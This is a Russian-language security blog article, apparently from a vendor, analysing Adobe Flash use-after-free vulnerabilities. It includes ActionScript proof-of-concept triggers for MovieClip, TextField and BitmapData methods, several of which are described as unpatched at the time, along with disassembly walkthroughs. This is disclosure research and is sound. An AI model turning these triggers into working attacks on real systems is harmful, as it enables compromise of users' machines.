Pull to refresh
0

Решето под названием Adobe Flash

Reading time 7 min
Views 22K
Пока еще широко распространенный продукт Flash Player компании Adobe печально известен своей безопасностью. Регулярно становится известно об очередной zero-day уязвимости во Flash, используемой хакерами в APT-кампаниях. 2015 год выдался особенно урожайным на такие уязвимости. Большая доля критических RCE-уязвимостей были вызваны некорректной работой с памятью: была возможна запись в освобожденную память в куче процесса Flash.

В этой статье мы поисследовали безопасность Adobe Flash и выяснили, что многие его «дыры в безопасности» — хронические, и решить их можно разве что переписыванием кода с нуля, в то время как разработчики ставят заплатку на заплатку, что, конечно, не повышает уровень безопасности. А еще мы продемонстрируем некоторые найденные нами и незакрытые на данный момент уязвимости!

Нашумевшие уязвимости


В феврале-марте 2015 года были выявлены схожие Use-After-Free уязвимости CVE-2015-0313 и CVE-2015-0311 в ActionScript-классе ByteArray (почитать про них можно здесь и тут). Объект типа ByteArray, отмеченный в качестве domainMemory для осуществления быстрых и низкоуровневых операций чтения-записи в память, при изменении указателя на свой буфер не уведомлял об этом domainMemory, хранящий указатель на него.

В CVE-2015-0313 объект удалялся в другом потоке, в CVE-2015-0311 он неудачно распаковывался с использованием zlib. Это позволяло осуществлять запись в освобожденную память других объектов и изменять их, нарушая инварианты классов.

В июле 2015 года много шума наделали публичные эксплойты к zero-day уязвимостям CVE-2015-5119, CVE-2015-5122, утекшие из взломанных архивов итальянской компании Hacking Team. Уязвимы были ActionScript операторы присваивания ячейке объекта ByteArray значения по индексу (в CVE-2015-5119) и оператор установки поля opaqueBackground в классе TextLine (в CVE-2015-5122).

Ожидаемое значение при таких присваиваниях – численное. Если передать в качестве величины присваивания элементу ByteArray/полю opaqueBackground объект пользовательского класса с перегруженным методом valueOf, перед присвоением произойдет неявное приведение этого объекта к численному типу, с вызовом перегруженного valueOf. Если в методе valueOf перед вышеупомянутым присваиванием освобождать ресурсы объекта ByteArray/объекта TextLine, память становится доступной, но указатель на нее сохраняется, и по нему произойдет запись в освобожденную память в куче.

В целом, Use-After-Free уязвимости во Flash — та еще головная боль для Adobe, поскольку появляются они довольно часто.

Уязвимости в TextField и MovieClip от Google Project Zero


Подобные уязвимости иногда содержат целые группы методов ActionScript классов. Например, обнаруженный командой Google Project Zero набор уязвимостей в методах ActionScript 2 классов MovieClip и TextField позволял освободить память объекта до попытки его использования. Некоторые уязвимые методы:

1. CVE-2015-8412: Объект mc освобождается перед использованием при неявном вызове valueOf в методе duplicateMovieClip:

this.createEmptyMovieClip("mc", 1);
mc.duplicateMovieClip( "mc",{valueOf : func});

function func(){
	trace("in func");
	mc.removeMovieClip();
        // Fix heap here
	return 5;
	}


2. CVE-2015-8044: Объект triangle_mc освобождается перед использованием при неявном вызове valueOf в методе lineStyle:

this.createEmptyMovieClip("triangle_mc", this.getNextHighestDepth());
	var o = {toString: func};
	triangle_mc.lineStyle(5, 0xff00ff, 100, true, o, "round", "miter", 1);

	function func(){
		triangle_mc.removeMovieClip();
		return "none";
	}


Похожая ситуация наблюдается с методами ActionScript 2 класса TextField (CVE-2015-7652, CVE-2015-8046, CVE-2015-8423, CVE-2015-8424, CVE-2015-8425, CVE-2015-8427, CVE-2015-8428, CVE-2015-8429, CVE-2015-8430, и т.д.)

Видя такое безобразие, мы решили выяснить, действительно ли все так плохо с безопасностью Flash? И… да, все плохо!

Уязвимости в классе BitmapData


Мы решили посмотреть ситуацию в других ActionScript-классах Flash. Оказалось, набор похожих Use-After-Free уязвимостей присутствовал также в ActionScript 2 классе BitmapData. На момент исследования этого класса последней версией Flash была версия 18.0.0.209. Часть уязвимостей (независимо от нас) была позже выявлена другими исследователями, часть оставалась незакрытой до появления версии 20.0.0.228.

Для освобождения памяти до использования объекта BitmapData использовался тот же трюк с перегрузкой метода valueOf у пользовательского класса. Этот метод неявно вызывается, когда необходимо преобразовать объект класса к типу Number. Так происходит, например, при предварительном вычислении аргументов функций или методов.

import flash.geom.Point;
import flash.geom.Rectangle;
import flash.display.BitmapData;

class MyClass 
{
    static var  bitmap1:BitmapData,
    bitmap2:BitmapData,
    bitmap3:BitmapData;
    public function MyClass() { }
    static function vof()
    {
        trace("in valueOf..");
        bitmap2.dispose();
        return 1;
    }
    static function expl()
    {
        trace("in expl");
        MyClass.prototype.valueOf = MyClass.vof;
		
        var array:Array = new Array(256);
        for(var i:Number= 0; i < 256; i++) {
            array[i] = 0xaaddddaa;
        }
        array[0xFF] = new MyClass();
        var o = new MyClass();
        var rect:Rectangle = new Rectangle(10, 11, 2, 2);
        var pt:Point = new Point(12, 12);

        bitmap1 = new BitmapData(100, 100, true, 0xaabbccdd);
        bitmap2 = new BitmapData(100, 100, true, 0xaabbccdd);
        bitmap3 = new BitmapData(100, 100, true, 0xaabbccdd);


Теперь вызываем уязвимый метод класса BitmapData:

Bitmap2.hitTest(pt, 1, bitmap1, new Point(0, 0), o);


В данном случая вызывается уязвимый метод BitmapData.hitTest с параметром типа MyClass (_loc3_[255]), который неявно приводится к целочисленному виду путем вызова функции vof. Внутри функции происходит освобождение памяти объекта myBitmapData2 перед использованием указателя на него. В куче, где сохраняется структура данных BitmapData, обнуляется указатель на пиксельный буфер (также в куче).

Уязвимым является не только метод BitmapData.hitTest. Вот список обнаруженных нами уязвимых методов версии Adobe Flash 18.0.0.209, вместе с уязвимой частью кода.

BitmapData.draw
bitmap2.draw(bitmap1, new Matrix(0.5, array[0xFF], 0.5, 0.5));


BitmapData.copyChannel
bitmap2.copyChannel(bitmap1, rect, pt, o, 4);
bitmap1.copyChannel(bitmap2, rect, pt, o, 4);


BitmapData.copyPixels
bitmap2.copyPixels(bitmap1, new Rectangle(10, 11, 2, array[0xFF]), pt, bitmap3);
bitmap1.copyPixels(bitmap2, new Rectangle(10, 11, 2, array[0xFF]), pt, bitmap3);


BitmapData.paletteMap
bitmap2.paletteMap(bitmap1, rect, pt, array);
bitmap1.paletteMap(bitmap2, rect, pt, array);


BitmapData.floodFill
bitmap2.floodFill(10, 10, o);


BitmapData.pixelDissolve
bitmap2.pixelDissolve(bitmap1, new Rectangle(10, 11, 2, 2), new Point(0, 0), 1245, o);
bitmap1.pixelDissolve(bitmap2, new Rectangle(10, 11, 2, 2), new Point(0, 0), 1245, o);


BitmapData.merge
bitmap2.merge(bitmap1, rect, pt, 1, 1, 1, o);
bitmap1.merge(bitmap2, rect, pt, 1, 1, 1, o);


BitmapData.getColorBounds
var z:Rectangle = bitmap2.getColorBoundsRect(array[0xFF], 0xffffffff);


BitmapData.scroll
bitmap2.scroll(o, 13);


Каждый из этих методов вызывает разыменование памяти около нуля при чтении и, соответственно, крах Adobe Flash версии 18.0.0.209. Часть методов вызывает крах всех версий вплоть до 19.0.0.245 включительно, которая вроде бы их всех должна исправлять!

Тот факт, что целые ActionScript классы имеют проблемы с безопасностью, уже настораживает. Но это еще не все. Оказывается, бывают в мире Adobe уязвимости, которые то закрывают, то заново открывают в свежей версии!

Баг или фича?


Одна из вышеуказанных уязвимостей, в методе BitmapData.merge, была закрыта еще в версии 18.0.0.232. Она оставалась закрытой вплоть до версии 19.0.0.245, однако, начиная с релиза 20.0.0.228, она снова оказалась незакрытой! Следующий код вызывает разыменования памяти в районе нуля и падение Flash в указанных версиях:

bitmap2.merge(bitmap1, rect, pt, 1, 1, 1, o);






Если теперь в методе valueOf будет удаляться объект-источник, а не объект-приемник, то такой swf файл вызовет крах вообще всех версий Flash, включая последнюю на сегодня (21.0.0.182):

bitmap1.merge(bitmap2, rect, pt, 1, 1, 1, o);


Посмотрим, что происходит в коде Flash до его падения. Для этого используем дизассемблер IDA Pro и x86-декомпилятор Hex-Rays. Функция sub_12FDF50 вызывается несколько раз при вычислении параметров функции BitmapData.merge, и в последней версии Flash происходит предварительное удаление объекта BitmapData и обнуление ячейки памяти по адресу [esi+0xC8] в функции sub_122DD40 (метка .text:0122DD82 в дизассемблированном коде, строка 19 в декомпилированном коде):



После вычисления параметров происходит вызов процедуры sub_1230D10:





Обращаем внимание, что регистр ecx на момент вызова sub_1230D10 содержит тот же адрес, значение по которому было обнулено ранее при вычислении параметров функции BitmapData.merge и обнулении объекта-приемника bitmap2 в методе valueOf.

В функции sub_1230D10 происходит разыменование памяти рядом с адресом, лежащим в ячейке [ecx+0xC8]. Как видно, это тот адрес, значение по которому ранее обнулялось при удалении объекта-приемника BitmapData. Результатом этого является крах Flash:



Неясно, что заставляет Adobe вновь открывать ранее уже запатченные уязвимости.

CVE-2015-?


Напоследок приведем еще одну найденную нами уязвимость. Она не связана с использованием памяти после освобождения, однако является весьма наглядным примером уязвимого кода.

Уязвимость была обнаружена в отладочных версиях Flash для Windows (в т.ч. плагины браузеров) в связке с Adobe Flex Debugger (FDB). Она заключается в некорректном поиске величины по связанному списку в коде Flash и срабатывает в отладочной версии Flash при запущенном отладчике FDB.

Сформированный нами swf-файл main.swf в коде ActionScript 3 подгружает внутри себя другой swf-файл, expressInstall_.swf в коде ActionScript 2, который обращается к внешнему адресу:





Для анализа вновь воспользуемся IDA Pro и Hex-Rays. Когда активен Flex Debugger (например, во время отладки ActionScript-кода), Flash при запуске сформированной нами swf формирует сообщение об ошибке:



В функции sub_C57769 вычисляется строка, которая будет выведена функцией sub_B8E6D9 в сообщение об ошибке после слова “Base”.



Для вычисления в цикле по связанному списку v4 ищется ячейка с определенными свойствами (*(*(v4 + 24) + 252) == 98). Цикл прекращается в трёх случаях:
  • если встречается нужная ячейка (*(v6 + 252) == 98
  • если мы не нашли нужную ячейку в списке за 256 шагов (v5 >= 256)
  • если список закончился (v4 == 0)

После выхода из цикла финальная ячейка используется в дальнейших вычислениях. Там и происходит ошибка на сформированном нами swf-файле: в списке не находится ячейки с нужным свойством, и цикл завершается в конце списка. Adobe Flash аварийно завершается после выхода из цикла с v4 == 0:



Как видно, код выхода из цикла уязвим. Потенциально возможно формирование такого условия, при котором в v4 окажется контролируемый злоумышленником адрес. Это возможно в случае, если список будет длиннее 256 значений, и первые 256 не будут удовлетворять свойству (*(*(v4 + 24) + 252) == 98). Тогда цикл while завершится по условию (v5 >= 256), и в v4 оказывается адрес следующей по номеру ячейки.

Что тут еще скажешь?


Буквально на днях в Adobe выпустили очередной патч, закрывающий 23 уязвимости во Flash, включая критические. По сообщениям, одна из них уже используется в узконаправленных атаках.

Можно определенно сказать – технология Flash из-за хронических проблем с безопасностью рано или поздно будет окончательно вытеснена из браузеров, а может быть, и с десктопов, что бы об этом ни говорили в Adobe. Youtube уже давно успешно работает на HTML5, В Mozilla уже удалили Flash из стандартной поставки Firefox. Теперь очередь за другими игроками на рынке – никому не выгодно понижать безопасность своего продукта в сравнении с конкурентами. Так что, Flash, давай, до свидания!
Tags:
Hubs:
+24
Comments 66
Comments Comments 66

Articles

Information

Website
neobit.ru
Registered
Employees
51–100 employees
Location
Россия